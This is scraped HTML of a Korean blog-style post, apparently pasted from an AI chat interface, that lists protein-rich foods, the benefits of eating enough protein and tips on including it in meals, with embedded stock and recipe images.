_ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kr.freepik.com/premium-vector/variety-protein-foods_38826215.htm" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRxFZepf9GXBJn0UKonkD_yjWkJTh-2zu1SvrxYufkvHTwKAY7x-NZiJeUZ0eLZP_J78Th9m0RjngHKiMHYv8QnWRYh7tYxnEU"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kr.freepik.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 다양한 단백질 식품 모음 </div></div></single-image></response-element></div></p><p data-sourcepos="9:1-9:92"><strong>1. 육류:</strong> 닭가슴살, 소고기, 돼지고기 등 육류는 고품질 단백질의 대표적인 공급원입니다. 특히 닭가슴살은 지방 함량이 적어 다이어트 식단에 자주 활용됩니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m.cjthemarket.com/mo/prod/prodDetail?prdCd=40150284"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="닭가슴살 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRynt87qlIhAGRILbi7LkcGy4kAyykF1WnaAojJCCatPie3MutueTznk0Mf9SnS"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://m.cjthemarket.com/mo/prod/prodDetail?prdCd=40150284" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTb-z69306dHHFOGKm49dDBPvMkYYQGDvCFy-RUnrvG9QyQwVMD3PnP2Drl1YgTSJb0A1SLrnBf6DGcZeBoEy2z-UP1E2iGweCMgmk"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">m.cjthemarket.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 닭가슴살 </div></div></single-image></response-element></div></p><p data-sourcepos="13:1-13:74"><strong>2. 생선:</strong> 연어, 참치, 고등어 등 등푸른 생선에는 단백질뿐만 아니라 오메가-3 지방산이 풍부하여 심혈관 건강에도 좋습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://wtable./recipes/hk5UNkHm1EwdWABZp55vrJgE"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="연어 스테이크 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcT4AvFdrojzIX5FiBHCTxNqZIe3p_yscXFA-s9aMsNtsz2HcB6xbHZrdPw6O45G"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://wtable./recipes/hk5UNkHm1EwdWABZp55vrJgE" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">wtable.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연어 스테이크 </div></div></single-image></response-element></div></p><p data-sourcepos="17:1-17:68"><strong>3. 계란:</strong> 계란은 완전 단백질 식품으로, 단백질뿐만 아니라 비타민, 미네랄 등 다양한 영양소를 함유하고 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B3%84%EB%9E%80%ED%94%84%EB%9D%BC%EC%9D%B4"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="계란 후라이 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcT7mAa71ffEiUVJfVNTNqM5Y94MkOdsAdX-xpWBzAtNNjxLArpVjasMEHRzmJkH"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B3%84%EB%9E%80%ED%94%84%EB%9D%BC%EC%9D%B4" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 계란 후라이 </div></div></single-image></response-element></div></p><p data-sourcepos="21:1-21:86"><strong>4. 콩류:</strong> 콩, 렌틸콩, 병아리콩 등 콩류는 식물성 단백질의 대표적인 공급원입니다. 섬유질이 풍부하여 포만감을 높여주고, 소화에도 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.smlounge./essen/article/19717"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="콩 종류 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQQRGTMS0WSB3Wv2m_wrDeQrwH6OY_OSYJK5bG30PRFde_1UaQHXACVCWjE5XOU"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.smlounge./essen/article/19717" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSU_JQ5AZfjL_qJzEYwCFPLG3Bt-WLNzOGcldghRTJq3QJug_C9wUweCGuHmHK8A56yWmhWQ3GxKjCAYUpMnmQ28g5mZ9lTdMkeJw6R"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.smlounge.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 콩 종류 </div></div></single-image></response-element></div></p><p data-sourcepos="25:1-25:70"><strong>5. 견과류:</strong> 아몬드, 호두, 캐슈넛 등 견과류는 건강한 지방과 함께 단백질을 제공합니다. 간식으로 섭취하기 좋습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://depositphotos.com/ko/photo/nuts-collection-5451771.html"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="견과류 모음 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTzoHnxRtbhlsW5PLB9vsY_zLHq3LNEklgoG3QGLnWRWUAxEHOKGOjigWGO5NUJ"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://depositphotos.com/ko/photo/nuts-collection-5451771.html" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ0Q5EZPcfAswKWi6WHs42PUaTkpQItZMfP4Fy8SviCV-hnLHm9LXuTb8BI4q6NUyqkXZB9v-_HRJbQjZ_XjWj1egK73a2kbxygQds"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">depositphotos.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 견과류 모음 </div></div></single-image></response-element></div></p><p data-sourcepos="29:1-29:56"><strong>6. 유제품:</strong> 우유, 요구르트, 치즈 등 유제품은 칼슘뿐만 아니라 단백질도 함유하고 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6969226"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="요거트와 그래놀라 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQXuoubyphT74r0IswbSkfzSSCkotGyeqMLrJOuG_9Gxg8LiG0UBXLeNCcD5wv5"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6969226" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 요거트와 그래놀라 </div></div></single-image></response-element></div></p><p data-sourcepos="33:1-33:47"><strong>7. 그 외:</strong> 퀴노아, 햄프씨드 등 슈퍼푸드도 단백질 함량이 높은 식품입니다.</p><p data-sourcepos="35:1-35:30"><strong>단백질을 충분히 섭취하면 어떤 효과가 있을까요?</strong></p><ul data-sourcepos="37:1-41:0"> <li data-sourcepos="37:1-37:46"><strong>근육량 증가:</strong> 운동 후 단백질 섭취는 근육 회복과 성장에 도움을 줍니다.</li> <li data-sourcepos="38:1-38:62"><strong>체중 감량:</strong> 단백질은 포만감을 높여 과식을 예방하고, 기초대사량을 높여 체지방 감소에 도움을 줍니다.</li> <li data-sourcepos="39:1-39:38"><strong>면역력 강화:</strong> 단백질은 항체 생성에 필수적인 영양소입니다.</li> <li data-sourcepos="40:1-41:0"><strong>뼈 건강:</strong> 일부 단백질 식품은 칼슘 흡수를 도와 뼈 건강에 좋습니다.</li> </ul><p data-sourcepos="42:1-42:22"><strong>단백질, 어떻게 섭취해야 할까요?</strong></p><ul data-sourcepos="44:1-47:0"> <li data-sourcepos="44:1-44:64"><strong>균형 잡힌 식단:</strong> 다양한 식품을 골고루 섭취하여 단백질뿐만 아니라 다른 영양소도 충분히 섭취해야 합니다.</li> <li data-sourcepos="45:1-45:50"><strong>하루 3끼 식사:</strong> 규칙적인 식사를 통해 꾸준히 단백질을 섭취하는 것이 좋습니다.</li> <li data-sourcepos="46:1-47:0"><strong>간식 활용:</strong> 견과류, 요거트 등 간편하게 섭취할 수 있는 단백질 식품을 간식으로 활용해보세요.</li> </ul><p data-sourcepos="48:1-48:37"><strong>지금 바로 단백질 풍부한 식단으로 건강한 삶을 시작해보세요!</strong></p><p data-sourcepos="50:1-50:30"><strong>단백질 건강 다이어트 식단 운동 영양</strong></p><p data-sourcepos="52:1-52:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kr.lovepik.com/image-401781450/healthy-diet.html"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="건강한 식단 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTO7t4MSZQpVpxy_T3FeOyUmR0SdaD9Q19q7hIYJ1Am6NhDBbDvfwogwUWLHfPI"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kr.lovepik.com/image-401781450/healthy-diet.html" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSV4TZu5xjf92ZCSzJstlp_7iOL6SDgiYabaEkjEnZSVtlvzatbduFu0agnTi0p2gR4tftZIWsKgtXW6HCBM9Q4Mo_t7RlGXX4"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kr.lovepik.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 건강한 식단 </div></div></single-image></response-element></div></span></p><p data-sourcepos="54:1-54:26"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kor.pngtree.com/so/%EC%9A%B4%EB%8F%99%ED%95%98%EB%8A%94-%EC%82%AC%EB%9E%8C"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="운동하는 사람 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTMGIyFVQDLcMJEwWemYuD_MeQKEA-J6AiYK9TqAAYMj_CowNWtnbxW9kWOkJ50"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kor.pngtree.com/so/%EC%9A%B4%EB%8F%99%ED%95%98%EB%8A%94-%EC%82%AC%EB%9E%8C" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRVncqV16_KpIwkAg-5UxMyCcknE-f7BERuW8UNTcPQt3G-IuuZg963ryl412HSetZX3-o6JzwJUNJs6wJ2rOU-0DU70IotrMlD"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kor.pngtree.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 운동하는 사람 </div></div></single-image></response-element></div></span></p><p data-sourcepos="56:1-56:29"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kr.freepik.com/free-photos-vectors/%ED%96%89%EB%B3%B5%ED%95%9C-%ED%91%9C%EC%A0%95%EC%9D%98-%EC%82%AC%EB%9E%8C"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="행복한 표정의 사람 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQ0n6abJ69KITh6csj6qqOxa2iEKV3lqM1YTKr9N2LRHhOkdnocglLKl343fw7p"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kr.freepik.com/free-photos-vectors/%ED%96%89%EB%B3%B5%ED%95%9C-%ED%91%9C%EC%A0%95%EC%9D%98-%EC%82%AC%EB%9E%8C" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRxFZepf9GXBJn0UKonkD_yjWkJTh-2zu1SvrxYufkvHTwKAY7x-NZiJeUZ0eLZP_J78Th9m0RjngHKiMHYv8QnWRYh7tYxnEU"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kr.freepik.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 행복한 표정의 사람 </div></div></single-image></response-element></div></span></p></div> </div></div>